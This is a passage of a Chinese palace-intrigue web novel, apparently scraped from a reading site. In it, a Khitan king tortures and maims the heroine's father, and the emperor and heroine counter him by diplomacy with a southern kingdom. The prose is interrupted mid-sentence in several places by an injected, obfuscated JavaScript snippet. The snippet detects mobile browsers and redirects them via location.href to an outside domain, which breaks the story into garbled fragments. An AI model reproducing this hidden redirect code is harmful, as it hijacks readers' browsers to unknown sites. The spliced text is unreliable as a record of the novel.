阶下的老臣们面面相觑,户部尚书张大人忍不住出列,躬身道:“陛下所言虽有道理,可守孝三年是祖宗定下的规矩,若是骤然废除,恐会让百姓觉得陛下不敬先祖,还请陛下三思。” 陛下的心思昭然若揭,陛下可以什么都不顾,但他们身为臣子,却不能不多忧多思一些。 宋墨辰看向他,语气从容,“朕要的,是靖垣的百姓安居乐业,而非被陈规旧俗困住。这新律,朕意已决,今日便要昭告天下!” 百官见他态度坚决,再无人敢反驳,纷纷俯首跪拜,齐声道:“陛下圣明!” 宋墨辰收回目光,转身走向龙椅,坐下时,目光不自觉望向殿外。 月月,等一切尘埃落定,我便风风光光迎你入宫,封你为后! …… 与此同时,城外院子里,长乐候浑身血污的瘫在柴房里,断了的右腿用破旧的布条草草裹着,院门外突然传来沉稳的脚步声。 门被推开,耶律良才大步走进来。 他没看长乐侯,径直将一个木盘摔在床前的矮桌上,盘里放着笔墨纸砚和一把**。 “写**,让秦时月来救你!” 他怎么都没想到,宋墨辰竟然在登基之际颁发新律。 明眼人都看得出来,这条新律,明显就是冲着秦时月来的,他怎么可能如他们的愿! 长乐侯哆哆嗦嗦地伸出手,想去拿**,指尖刚碰到冰凉的刀柄,就被耶律良才一脚踩住手背。 “啊!!”长乐侯痛呼出声。 “疼就对了!”耶律良才眼神狠戾,声音透着一丝癫狂,“你最好想清楚怎么写!若是敢敷衍,我不介意让你另一条腿也断了!” 长乐侯拼命点头,耶律良才这才挪开脚。 他看着长乐侯颤抖着拿起**,在左手食指上划开一道口子。 “内容我来定,你只需要跟着写!”耶律良才眼神危险的坐在矮桌旁,声音冰冷,“写你被歹人掳至此处,日夜受刑,右腿已断,如今命在旦夕,唯有秦时月能救你!” 长乐侯惨白着一张脸,咬牙用渗血的指尖在宣纸上慢慢写,因为疼痛,手抖得厉害。 “写清楚!”耶律良才低吼一声,突然探过身,一把捏住了他的手腕,“你得让她知道你有多惨!要写‘每日受鞭刑之苦,食不果腹,夜不能寐’!还要写‘若三日内她不来,你便会死无葬身之地’!” 长乐侯的手腕被捏得发麻,指尖的伤口越来越疼,可他更怕耶律良才突然发作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290993|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他顺着耶律良才的意思往下写,每一个字都写得艰难,仿佛用尽了全身的力气。 “写落款!” 长乐侯的左手食指还在渗血,哆哆嗦嗦地写下“秦顺强”三个字,刚写完最后一笔,就听到耶律良才发出一声冷笑。 他心里咯噔一下,还没反应过来,就感觉左手传来一阵撕心裂肺的剧痛。 耶律良才竟拿着**,狠狠砍在了他的左手手腕下方! “啊!”长乐侯发出凄厉的惨叫,左手瞬间垂了下来,人也因为巨大的疼痛彻底昏死过去。 耶律良才看着满眼猩红,神情越发癫狂:只有这样,秦时月才会信长乐候是真的走投无路了! 一只手换她过来,值! 处理完长乐侯,耶律良才转身朝着院外走去。 …… 翌日早朝,内侍怀里抱着个方盒进入大殿,并将方盒递给了宋墨辰身边的侍书。 木盒下方,隐隐透着暗红色。 “陛下。”内侍恭敬道:“今早城门守军捡到此物,盒上只书:呈至御前四字,奴才怕耽搁陛下要事,连忙送了过来……” 殿内瞬间鸦雀无声,宋墨辰身着明黄龙袍,端坐于龙椅之上,目光扫过那不正常的木盒,脸色冰冷。 “呈上来。” 侍书垂头将木盒捧近,刚打开盒盖,一股浓重的血腥味便扑面而来。 他下意识皱紧眉头,看清盒中物事时,脸色微变。 盒里竟然放着一封**和一只断手,断手截面虽血肉模糊,但能够清楚的看到指节上套着一枚碧玉扳指。 “陛下,扳指……是长乐侯的。”侍书眉头紧锁,“属下绝不会认错。” 陛下与王妃感情甚笃,在陛下的授意下,他对长乐侯了解颇深,绝不会认错。 此言一出,殿内瞬间炸开,朝官们顿时乱作一团。 兵部尚书跨步出列,怒声道:“是何人,竟敢在皇城根下做此等凶事!难不成是契丹那边的奸人所为,想借此扰乱我朝纲纪!” 第318章 以身入局 “陛下。”大理寺卿跪倒在地,“此事实在骇人,还请陛下速下决断!” 宋墨辰面色未变,落在那只断手上的眼神却暗了暗。 他早已查清,长乐侯失踪与耶律良才脱不了干系,可对方竟敢将断手送到朝堂,显然是想故意闹大动静。 眼下他刚颁布新律,朝野都在等着他与月月的封后大典,耶律良才莫不是要借这桩血案激起**,让他延迟婚典? “安静!”宋墨辰的声音响起,殿内瞬间鸦雀无声,“传朕旨意,全城搜查长乐侯的下落,活要见人,死要见尸!” 长乐侯的生死他并不在意,但他在意秦时月。 此事一出,若找不到长乐侯,只怕他和秦时月的婚事就得无限期延长下去…… 朝官们纷纷领命起身。 礼部尚书却突然出列,面露难色,“陛下,臣有一言,长乐侯虽无实权,却也是太上皇在位时亲封的,也算得上是宗室勋贵。如今断手出现,若此时继续筹备封后大典,恐遭非议……” 他话说一半,可即便如此,殿内还是瞬间安静下来。 不少朝官都偷偷抬眼看向宋墨辰,显然是认同礼部尚书的说法。 宋墨辰看向礼部尚书,眼神冷得像冰,“朕问你,长乐侯是否确认为亡故?断手一只,就能定人生死?” 他本来就因为这件事心烦,这群老东西不仅不为他出谋划策解忧,反而将事情点破,让他恼上加恼。 礼部尚书被问得一噎,额头上沁出一层冷汗,只能支支吾吾道:“可……可断手已是凶兆,若不暂时搁置封后大典,恐失宗室体面。” “封后大典照常筹备!至于日期,可稍微推迟,但无论调查结果如何,谁敢再以礼制为由阻挠,以通敌叛国论处!” “……陛下英明!” 宋墨辰知道,耶律良才绝不会这么轻易放弃,接下来的日子,怕是还有一场硬仗要打。 但他更清楚,如今他是皇帝,绝不能被耶律良才牵着鼻子走! 辰时三刻,早朝散去,朝官们面色各异,纷纷离去。 断手的消息也被带出了皇宫。 …… “小姐!出大事了!街上都在传,今早有人把侯爷的断手送到了朝堂门口!陛下都下令全城搜捕了!”小荷从外进门,看到秦时月,慌忙说道。 “消息当真?”秦时月攥着书册的手一僵,手指不自觉微微收紧。 “千真万确!”小荷急得眼眶发红,“如今外边传什么的都有……有说侯爷怕是早没了,也有说侯爷被贼人掳去,正等着您去救呢。” “小荷,吩咐下去。”秦时月微微闭眼,再睁眼,眸色清冷。 “让府里所有下人都出去寻人,就说长乐侯是侯府的主子,如今失踪多日,府里愿出一千两白银悬赏线索,但凡提供有价值线索的,都可来侯府兑换相应白银。记住,务必要让整个京城都知道,我们在找他!” 小荷愣住,“小姐,咱们这么大张旗鼓,会不会……” 秦时月知道,这事八成是耶律良才做的,他这样做的目的就是想逼宋墨辰因**延迟大婚典礼。 既然这是耶律良才想要的,那她不如将计就计,让他认为他们已经自乱阵脚,无暇大婚! “你只管去。” “奴婢这就去办!” 看着她匆匆离去的背影,秦时月冷眼对窗外喊了一声。 不过片刻,影夜出现,“王妃。” 秦时月冷哼一声,眼底透着一丝冷意,“如今长乐侯的断手已送抵朝堂,你即刻带人盯紧驿馆那边,契丹人也好,耶律良才也罢,事无巨细,全部汇报!” “属下明白!”影夜躬身行礼,身形一晃,几片被风吹落的槐树叶从窗口飘落进来。 秦时月努力让自己冷静下来,然后关上窗户,转身走到案前坐下,目光毫无波澜的看着桌上那盏早已凉透的茶。 耶律良才,这场局,我倒要看看,谁才是最后的赢家! …… 自从把断手送到宫里后,耶律良才便知道,宋墨辰和秦时月一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290994|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定会把目光对准自己,说不定此刻驿馆外全是他们的人,但他丝毫不担忧,甚至隐隐有些期待。 “大王,替身已在偏院候着,面具也已准备好” 闻言,耶律良才转过身,眸光带笑。 那替身与他身形相近,脸上覆着与他原本容貌一致的易容面皮。 “大王,京城近来守卫森严,您出城需格外小心。”替身恭敬的垂着眉眼,声音竟然也与耶律良才相差无几。 “这点无需担心。”耶律良才从暗格里取出一份早已备好的文书,上面盖着伪造的商号印章,“你只需记住,在我回来之前,不许暴露身份。” 替身领命。 偏院很快传来脚步声。 耶律良才换上粗布商服,趁着暮色混在使馆外出购的杂役队伍里,一步步朝着城门走去。 三日后,边境急报。 养心殿内,宋墨辰看着奏报上的字迹,眉头越皱越紧。 先是契丹人与靖垣边民起了冲突,接着南国的骑兵竟突然越过边境,烧毁了两座哨所,死伤数十人。 再来就是,奏报里提到,南国士兵的盔甲上,竟刻着契丹的狼纹,显然是故意让人以为,此事是两国联手。 “陛下。”兵部侍郎捧着奏报,“如今大将军已伏法,军中能领兵的将领寥寥无几,边境守军只有五千,怕是抵挡不住南国与契丹的联手攻势,还请陛下早下决断,速派援军!” 殿内的朝官们顿时炸开了锅,有人主张立刻调兵增援,有人却担忧这是耶律良才的诱敌之计,若是主力出城,京城恐会空虚。 大将军因谋逆罪被处斩后,军中确实人才凋零,原本能独当一面的将领,要么被牵连入狱,要么因忌惮朝堂风波而沉默,竟无人敢主动**。 就在这时,一道身影从朝列中走出。 “陛下,臣愿领兵前往,平定边境骚乱!” 宋墨辰抬眼望去,眸光沉了沉。 此人是禁军副统领萧策,京中治安在他的统管下从未出过一丝纰漏。 第319章 一眼看穿伪装 见他主动**,宋墨辰眼中闪过一丝赞许,却还是沉声道:“萧爱卿,你可知边境情况复杂?此次并非普通骚乱,南国与契丹似有勾结,稍有不慎,便会引发大战。” “臣知晓。”萧策抬头,目光坚定,“但臣更知晓,边境一日不安,百姓便一日不得安宁。臣愿带一千禁军前往边境,先查清骚乱真相,若是契丹与南国真要开战,臣定死守关隘,绝不让敌军踏入靖垣半步!” 殿内的朝官们纷纷侧目。 “好!朕准你所请!即刻调一千禁军归你统领,明日一早启程!记住,务必先查清真相,不可贸然挑起争端,朕要的是平定骚乱,而非挑起战事!” 他不怕战,只是不想在大婚这个节骨眼上让事态扩大。 萧策恭敬领命,叩首道:“臣遵旨!定不辱使命!” 待萧策起身退下,宋墨辰又看向兵部尚书,“传朕旨意,命边境守将暂时退守关内,加固城防,待萧策的援军抵达后,再一同商议对策。” “另外,派使者前往南国问询,若南国有意和谈,便开出条件;若他们执意开战,朕便让他们尝尝靖垣的厉害!” 兵部尚书领命退下,殿内的朝官们见宋墨辰已有决断,原本慌乱的心也渐渐安定下来。 宋墨辰却知道,这个节骨眼上冒出这么多事,绝不会这么简单。 下朝后,秦时月收到了侍书传来的消息,得知契丹和南国在靖垣边境上蠢蠢欲动,瞬间联想到了耶律良才。 南国和契丹最近走的近,若说此事没有契丹的掺和,她是万万不肯相信的。 不过,据探子来报,耶律良才一直在驿馆并未外出,那他是怎么和南国人联系的呢? 看来,她要亲自去会一会耶律良才,看看他究竟在打什么主意! “小荷,备车。” 秦时月起身换了身衣服,冷声道:“若是一个时辰后你家小姐还没回来,你立刻去皇宫报信。” “……是!”小荷皱皱眉,还是乖巧应下。 她知道自家小姐的身手,她跟着,才是累赘。 不多时,契丹使者暂住的驿馆门前。 守卫见是长乐侯府的马车,不敢怠慢,连忙进去通报。 不过片刻,便有人出来相迎。 待秦时月进入驿馆,“耶律良才”才起身相迎,“县主今日怎会有空来访?” 秦时月笑了一下,目光不动声色地扫过四周,“我新得了点香茶,想着来找你,和你一起品尝一番。” 说着,她抬抬手,身后的随从立刻将茶叶端了上来。 见状,耶律良才笑着接过。 在看到他下意识左手接茶罐的一刻,秦时月眼波流转,面上却岿然不动。 “听闻契丹近日与南国往来密切。如今边境不宁,南国似乎突然侵犯我国边境,你私下与他们来往,不怕引起陛下误会?” “什么,竟有这种事?”耶律良才故作震惊,随后又笑道:“我与他们不过是些普通的通商往来,怕什么。” “也是,先前你在京城也是做生意的,现如今与南国做生意也能理解。”秦时月垂眸把玩着自己食指上的戒指,状似不经意的说道:“先前你在京城做茶叶生意,如今同南国做什么生意?” 闻言,耶律良才故作轻松道:“自然也是茶叶生意。” “这样啊。”秦时月在心里冷哼一声,抬眸笑问,“对了,我听说,此次犯境的南国士兵的盔甲上刻着契丹的狼纹,这是不是真的呀?” 这话一出,耶律良才的眼神慌了一瞬,“这……许是南国士兵自己刻的,与我契丹无关。县主若是无其他事,不如先请回去,我还有要事要处理。” 他起身送客的动作太过急切,连平日里惯用的礼节都忘了,哦不对,不是忘了,而是他,压根不知道! 秦时月笑了笑,心里已然确定,眼前的人定然不是耶律良才。 她没有点破,只起身笑道:“既然你有要事在身,那我便不打扰了,这罐茶你抽空尝尝。” 说罢,她转身带人离开。 回到马车上,秦时月眼神一冷,立刻让车夫调转方向,直奔皇宫 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“耶律良才想借两国联手搅乱边境甚至是靖垣的内政,可南国与契丹本就各怀心思,所谓联盟,不过是建立在利益之上,只要我们断了这份利益,再抛出更大的诱饵,不愁他们不反目。”秦时月眼神微闪,道。 无论是人与人相处还是国与国相处,无疑逃不开利益俩字。 如今南国愿意与契丹交好,想必定然是耶律良才给了他们好处。 只要靖垣能拿出更大的好处,南国必然不会守着一个与他们同样的附属小国。 宋墨辰抬眼看向她,眼中闪过一丝笑意,“月月想怎么做?” “听闻南国近年来旱灾频发,粮食欠收,去年还曾派使者来求购粮草,只是当时大将军驻守边关,未曾大开方便之门。”秦时月笑笑,眼神透着狡黠的算计。 “我们可以主动派使者去南国,以万石粮食为诱,让他们立刻撤回边境的兵力,并且公开声明与契丹无关。” 第320章 与南国互通有无 “至于契丹,耶律良才此次私自联络南国,肯定没有契丹贵族的同意,他刚登基不久,根基不稳,我们可以借此让王庭内部牵制耶律良才。” 闻言,宋墨辰走到她身边,点头道:“不错,就按你说的做。” 他转身走到案前,提笔写下两道密令,交给侍书。 侍书接过密令,躬身应道:“臣这就去!“ 两道密令很快送出,秦时月看着宋墨辰的脸,轻声道:“别太累了。” 今日的宋墨辰必前些天更加疲惫了,看到他这副模样,她格外心疼。 不出三日,宋墨辰便收到了南国密信。 南国君主言辞恳切,表示愿与靖垣交好,一起保护边境安宁,为了彰显他们的诚意,南国君主甚至特意秘密派出使者前往靖垣。 但南国君主在信中只是放低了态度,并没有表示会与契丹划清关系。 宋墨辰知道,南国君主恐怕是因为祝家一事对自己缺少信任。 如今南国国君这般表态,不过是想在靖垣与契丹之间周旋,既不想得罪耶律良才,又不愿错过从靖垣捞取好处的机会。 “南国国君这封信,倒是写得滴水不漏。”秦时月站在一旁,接过信纸扫了一眼,“既不承认与契丹的联盟,又不主动提及边境骚乱的责任,显然是想两边都不得罪,等着看我们与耶律良才的胜负再决定。” 好一招坐山观虎斗。 不过,她不会让他轻易得逞。 宋墨辰将信纸放在烛火上方,任其被火舌烧碎。 “若我们能压过耶律良才,他便顺着坡下驴,继续与我们通商,若我们落了下风,他转头就能与契丹联手,咬我们一口。” “他既看重利益,我们便从利益入手。”秦时月笑道。 “哦,月月有什么好办法?”宋墨辰问了一句。 “据我所知,南国除了祝玲珑,还有一位郡主,契丹想要联姻的,也正是那位郡主。若我们提出宗室子弟与郡主联姻,再将每年南国对靖垣的岁贡削减三成,他定会心动。” 联姻能让南国君主稳固地位,岁贡则能缓解南国的财政压力,这两样都是他无法拒绝的诱惑。 这个主意,宋墨辰也想到了。 见她与自己如此心有灵犀,他的嘴角不自觉上扬。 他拿起书案上的毛笔,亲自写下回信。 信中先不提边境骚乱一事,反而先肯定南国近年来对两国通商的贡献,再顺势提出联姻与减岁贡的提议。 写完后,他将信折好,交给侍书,“立刻派人送往南国都城。” “是。”侍书领命离去。 南国国君虽多疑,但这些条件对他而言,诱惑太大。 他若接受,便等于公开与耶律良才划清界限,若不接受,不仅会失去减岁贡和联姻的机会。 相信南国君主会做出正确的决定。 其实南国君主心里清楚,耶律良才不过是想利用南国,一旦耶律良才败了,南国将会陷入尴尬的境地。 若是答应宋墨辰的条件,不仅能得到实实在在的好处,还能巩固两国关系。 所以南国君主才会秘密派使者前往靖垣,为的就是拿到更多的好处。 几日后,使者秘密入京,宋墨辰派心腹将其请入宫中。 “赵使者一路从南国赶来,辛苦了,快快起身。” “谢陛下。”赵使者起身。 这时,他才发现,御书房内,除了宋墨辰,还有一个身穿淡粉色襦裙的少女。 若他没猜错,此人就是靖垣人人称道的明月县主,秦时月。 而秦时月的视线一直落在赵使者身上,脸上没有什么情绪。 “我主临行前再三叮嘱,此次商谈需绝对隐秘,万不能让耶律良才知晓,那契丹王手段狠厉。”赵使者担忧道。 宋墨辰笑道:“耶律良才的心思,朕与县主自然清楚,只不过,我们想要的,使者清楚吗?” 他不打算和赵使者打哑谜。 这话问得直接,赵使者顿了顿,缓缓开口,“我主同意与靖垣联姻,共修秦晋之好,只要事成,南国必然是站在靖垣这边。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297280|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻言,秦时月端起茶盏,漫不经心道:“是站在靖垣这边,还是陛下这边呢?” “自然是陛下。”赵使者恭敬道。 众所周知,宋墨辰是新王,根基不稳,自然需要支持。 “南国郡主嫁入靖垣,朕必保她在靖垣安稳无忧,若契丹日后对南国动兵,靖垣会出兵相助,但有一条,若南国私下与耶律良才往来,不管是何缘由,盟约即刻作废,岁贡恢复原价,还要额外赔偿靖垣的损失。”宋墨辰眼神变的凶狠。 听到这话,赵使者额角渗出细汗,他知道这是靖垣的底线。 南国如今既要靠靖垣牵制耶律良才,又想在互市中获利,根本没有拒绝的余地。 “陛下提议公允,臣会即刻写信回南国,禀报君主此事。” “好,但朕丑话说在前头,盟约签订前,若南国敢走漏半点风声,或是与契丹有任何私下接触,这桩交易便就此作罢,日后南靖两国,也不必再谈邦交。” 赵使者连忙应下,“臣明白,定不会让陛下失望。” 宋墨辰知道,他想要的已经得到,既如此,没必要和赵使者说下去了。 只要南国老实本分,他必然不会对南国东搜。 “赵使者,一路奔波辛苦了,内侍会带你去偏殿歇息,只是有件事还需提醒使者,宫殿内外都有禁军值守,使者无事不要外出。”秦时月起身,笑看着赵使者。 防止赵使者和契丹人勾结,此人,必须住在宫里。 一方面,只有把人放在宫里,耶律良才才不会知道赵使者的存在,另一方面,放在眼皮子底下,也能安心。 “臣明白陛下与县主的苦心,多谢陛下与县主周全。”赵使者拱手作揖。 待赵使者跟着内侍离开,御书房内的气氛才稍缓。 秦时月走到宋墨辰身边,“此事已了,接下来就要处理耶律良才了。” 宋墨辰低头看着她,眼底满是温柔,“好。” 为了边境稳定,他们必须尽快处理耶律良才,让他知道靖垣是他得罪不起的存在! 第321章 见故人,故意透露消息 翌日一早,秦时月换了身衣裙,匆匆出了侯府。 方才影夜来报,说是真的耶律良才回来了,此刻正在湖心亭赏雨。 他倒是有闲情逸致,仿佛丝毫不担心南国会背叛似的。 “耶律大王倒是好兴致,这般雨天还来水榭饮酒。”秦时月将竹伞收起,交给身后的小荷。 闻言,耶律良才抬眼看向她,发自内心的笑了一下。 “县主怎么会在这里?莫非也是来赏雨的?” 他放下手中的酒盏,做了一个请的动作,邀请秦时月入座。 自从上次分开后,他许久未见到她了…… 他知道秦时月派人盯着自己,自己一举一动都逃不过她的眼睛。 可他对此十分满意。 今日来湖心亭赏雨,是耶律良才故意为之,为的就是想要与秦时月见上一面。 “原本是来买些莲子,没曾想会碰到大王。” 说完,秦时月的目光落在桌上的酒壶上。 她随口一提,“这酒的味道好生熟悉,我昨日在御书房内,似乎也闻到了这酒的香气,陛下还同我说,什么联姻的事,具体的,我也不懂。” 说完,秦时月垂下眼,假装整理裙摆。 听到这话,耶律良才端起酒盏的手顿了一瞬,随即又恢复如常,甚至还笑着给她倒了杯酒。 “这酒是我偶然所得,似乎是南国那边的佳酿,县主快尝尝。” 秦时月端起酒杯,浅酌一口,故意皱了皱眉,“这酒太烈了,我喝不惯。” “县主若是不喜烈酒,下次我让人备些青梅酒,那酒清甜,适合女子饮用。” 接着,耶律良才拿起一块点心,递到她面前,“这是我从契丹带来的奶酥,县主尝尝?” 秦时月接过奶酥咬了一小口,嘴角勾了勾,“倒是比靖垣的点心更醇厚些。” 两人又闲聊了些琐事,气氛倒显得融洽。 雨渐渐小了,秦时月看了看天色,起身道:“时辰不早了,我该回府了。” 耶律良才也跟着起身,语气带着几分关切,“雨天路滑,不妨我送县主回去?” “不必了。”秦时月笑着拒绝,“趁着天色尚好,大王多歇歇,权当观景了,毕竟……以后这样悠然的日子,怕是不多了。” 她接过小荷递上来的竹伞,转身走出亭子。 望着秦时月离去的背影,耶律良才脸上的笑意渐渐褪去。 他拿起桌上的酒盏,一饮而尽。 “来人。” 暗卫立刻从暗处走出,躬身行礼,“大王有何吩咐?” “立刻去查。”耶律良才冷脸,“南国是不是要与靖垣联姻,去查清楚到底是怎么回事,不得有误!” 时月的话不像空穴来风,他刚从边境回来,内情知道的不多,只能让人去查了。 如今箭在弦上,他决不允许有其他变故! “是。”暗卫领命。 暗卫退下后,耶律良才又对远处的心腹招了招手,“你亲自去一趟南国,让南国君主务必三日之内给我答复!” “是!” 若是南、靖真的结盟,对契丹来说,绝非好事。 耶律良才必须尽快弄清楚事情的真相! …… 不出两日,南国君主便收到了耶律良才的信笺。 这让他甚是奇怪,耶律良才为何会得知南国要与靖垣联姻? “耶律良才倒是消息灵通,才几日就查到了联姻的事,这信里明着问,实则是逼朕给个说法!” “陛下,郡主已亲口应下嫁入靖垣,婚期都初步定了,若是此刻变卦,坏了南靖盟约……可契丹那边……”属下言辞恳切。 “朕难道不知道这些?”南国君主气愤的拍了一下桌子,“眼下只能想别的法子。你现在去宗室旁支里查查,有没有十六到十八,容貌周正的姑娘,勋贵家的庶女也行,只要身家清白即可。” 属下一愣,随即反应过来,抬头看向君主。 “陛下的意思是找位姑娘,顶替郡主的名分,许给契丹?” “不然还能怎么办?”南国君主揉了揉眉心,无奈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看来,南国早已没了往日的底气,只能在靖垣与契丹之间苟延残喘。 不过正好,若是宋墨辰娶了南国郡主,他就能更好的得到秦时月。 与此同时,长乐侯府内。 还不等秦时月踏入揽月园,影九便拦住了她的去路。 “小姐,属下有要事禀报。” 如今宋墨辰已经登基,但他们大婚未成,称呼,只能暂时从王妃改回小姐。 见状,秦时月抬手屏退左右,带头往揽月园走去。 “可是查到什么线索了?”一进门,秦时月便迫不及待问到。 能让影九如此不顾规矩禀报,想必定然是有重要的消息。 “回小姐,我们发现了西郊有一处异常的宅院,那宅院看着是普通农户的房子,却被人层层看管,四周不仅有明哨,暗处还藏着不少人手,戒备比官府的驿站还要森严。” “我们暗中观察了三日,发现那些人虽穿着中原人的服饰,却带着契丹人的习惯,他们腰间都别着契丹特制的短刀。” “契丹人。”秦时月眉头微微蹙起。 果然,她那个好父亲的失踪与耶律良才有关。 为了阻止自己和宋墨辰大婚,耶律良才可真是什么都做得出来。 “那宅院周围的地形如何?”秦时月问道。 必须尽快想办法把长乐侯救出来,绝对不能再让他待在耶律良才手里。 “尚可。” 秦时月站起身走到窗边,心里开始盘算如何营救长乐侯。 若是贸然行动,不仅救不出他,还可能打草惊蛇,让耶律良才对他下死手。 “影九,我有个金蝉脱壳的办法,你带人这样……”秦时月眼神微沉,吩咐道。 “是。”影九领命,起身离去。 …… 一炷香后,影九带人出现在西郊宅院附近。 影九看向远处的宅院,抬手对其他影卫比了个手势,影卫们心领神会,立即分成两队展开营救行动。 一队人负责引开守卫,另一队人翻墙而入。 行动很顺利,影九用最快的速度翻墙进入宅院,刚好落在柴房附近,柴房里传来轻微的鼾声。 可柴房外并无守卫,难道是柴房内有人? 影九透过窗户,发现柴房里有两个身影。 一个坐着,一个站着。 坐着的人看轮廓像是长乐侯,站着的想必是看守他的契丹人。 影九想都没想,直接用**将契丹人迷晕,随后闯了进去。 此时的长乐侯缩在墙角的椅子上,头发散乱,脸上满是惊恐。 看见影九等人先是一愣,随即像是抓住了救命稻草,连滚带爬地扑过来。 “是来救我的吗,快,快带我走!耶律良才是个疯子,再不走,我就要死在这里了!” “侯爷,跟我们走。” 长乐侯眼神发亮,但身上有伤,不方便起身,影卫皱皱眉,立刻命人将其背上。 待长乐侯被救出去,影九立刻带人按照秦时月的吩咐布置现场。 不多时,一个少了一只手的男性尸体被扔到柴房里。 待一切布置妥当,影九最后看了一眼正屋,确认没有破绽,才点了一把火,然后带着剩余的影卫离开。 …… 耶律良才得知宅院走水时,立即放下手中所有信笺,怒气冲冲的赶了过来。 长乐侯还不能出事! “人呢?长乐侯人呢!”耶律良才愤怒的看向守卫。 “大,大王,里面的人都**,长乐侯也**。” 耶律良才抬脚跨入院内,气愤的推开房门,目光落在墙角那具血肉模糊的尸体上。 尸体面目全非,只有烧剩的衣袍能隐约辨别出他的身份,长乐侯。 身后的属下跟着进来,看了眼尸体,连忙说道:“大王,看现场像是流寇做的,护卫都死在柴房附近,长乐侯应该是被流寇灭口了。” “流寇?”耶律良才嗤笑一声,蹲下身,指尖挑起尸体的断手,目光落在断口处,“你们看这断口,边缘参差不齐,根本不是契丹的刀砍的!” 属下凑近一看,眼底带着疑惑。 耶律良才站起身,踢了踢尸体的腿,“护卫前段时间打断了他的左腿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302428|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你们看这具尸体,双腿笔直。这根本就不是长乐侯!” 此话一出,属下顿时脸色煞白,连忙蹲下身查看尸体的腿。 果然如耶律良才所说,尸体的双腿完好无损,连一点骨折过的迹象都没有。 “真是会算计,想用这么一具假尸体蒙混过关,当本王傻吗?”耶律良才冷笑一下。 “大王英明,是属下们疏忽了。” “本王让你们看好长乐侯,结果人被救走,还被人摆了一道,你们现在跟我说疏忽!” 属下们连忙跪地磕头,“属下知罪!求大王再给我们一次机会!” 耶律良才深吸一口气,压下心头的怒火。 “给你们三天时间。”耶律良才冷声道:“三天之内,必须查出长乐侯的下落,若是查不到,你们就不用回来见本王了。” “是!属下遵旨!”属下们连忙应下,连滚带爬地起身往外走。 屋内只剩下耶律良才一人,他看着那具假尸体,情绪瞬间爆发出来。 他气愤的捡起地上的剑,直接插入尸体的心脏…… 此时,长乐侯突然心揪了一下,直接从梦中惊醒。 他大口大口的呼吸着,一副惊魂未定的样子。 察觉到床上的人苏醒后,秦时月朝门口喊了一声,不过片刻,小荷端着一碗药走了进来。 长乐侯抬眼瞥见她,眼神顿时布满惊恐。 “你,你怎么……” “父亲,你醒了啊?是我救了你呀。”秦时月笑了一下,接过药碗,将药碗放到了一旁的桌子上。 “我,我怎么会在这儿?” 秦时月像是没有听见长乐侯的话似的,“药刚熬好,待放凉些再喝吧。你的腿伤我看过了,耽搁的时日太久,治不好了。” “什么!?”长乐侯猛地想坐直,却扯到了腿伤,疼得倒抽一口冷气,“都是你的错!若不是你把我关到墓园,耶律良才怎么可能会把我掳了去!” “父亲为何不好好反思一下?为何要火烧辰王府?”秦时月似笑非笑。 没要他的命,已经是念在她家人不多的份上了。 第323章 争吵过后想通了 “你!”长乐侯指着秦时月鼻子破口大骂,“你少翻旧账!我警告你,快放了我,放了你兄长,把侯府还给我,否则,我以后都不会认你这个逆女!” “父亲刚醒,还是不要动怒的好。”秦时月站起身掸了掸并不存在的回城,不愿再与长乐侯多言。 “你!”长乐侯气得胸口起伏,“我怎么生了你这么个冷血的东西!” “药还喝吗?” 长乐侯偏过头,不肯张嘴,满脸视死如归。 “那你随意。”秦时月轻笑一声转过身,径直走了出去。 小荷立即跟上,“小姐,侯爷不肯就医,这样拖下去可如何是好……” “无碍,你让人看好他,我不会让他轻易**。”秦时月深吸一口气,有些心烦。 